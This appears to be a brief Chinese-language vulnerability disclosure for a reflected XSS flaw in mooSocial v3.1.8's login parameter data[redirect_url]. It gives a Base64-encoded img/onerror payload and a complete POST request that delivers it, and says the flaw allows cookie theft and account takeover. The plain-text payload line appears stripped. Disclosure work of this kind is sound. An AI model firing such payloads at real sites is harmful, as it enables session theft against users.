mooSocial v3.1.8 的用户登录功能中的 data[redirect_url] 参数存在反射型跨站脚本(XSS)漏洞,攻击者可通过精心构造的 URL 窃取用户的会话 cookie 并冒充其账户。
漏洞参数:data[redirect_url]
Payload:test">test
Payload(Base64 编码):dGVzdCI+PGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q=
最终 Payload(Base64+URL 编码):dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d
针对 /moosocial/users/login 的 POST 请求(仅 POST 请求数据):
[_method=POST&data%5Bredirect_url%5D=dGVzdCI%2bPGltZyBzcmM9YSBvbmVycm9yPWFsZXJ0KDEpPnRlc3Q%3d%3d&data%5BUser%5D%5Bid%5D=&data%5BUser%5D%5Bemail%5D=admin%40localhost.com&data%5BUser%5D%5Bpassword%5D=pas[已编辑]&data%5Bremember%5D=0]
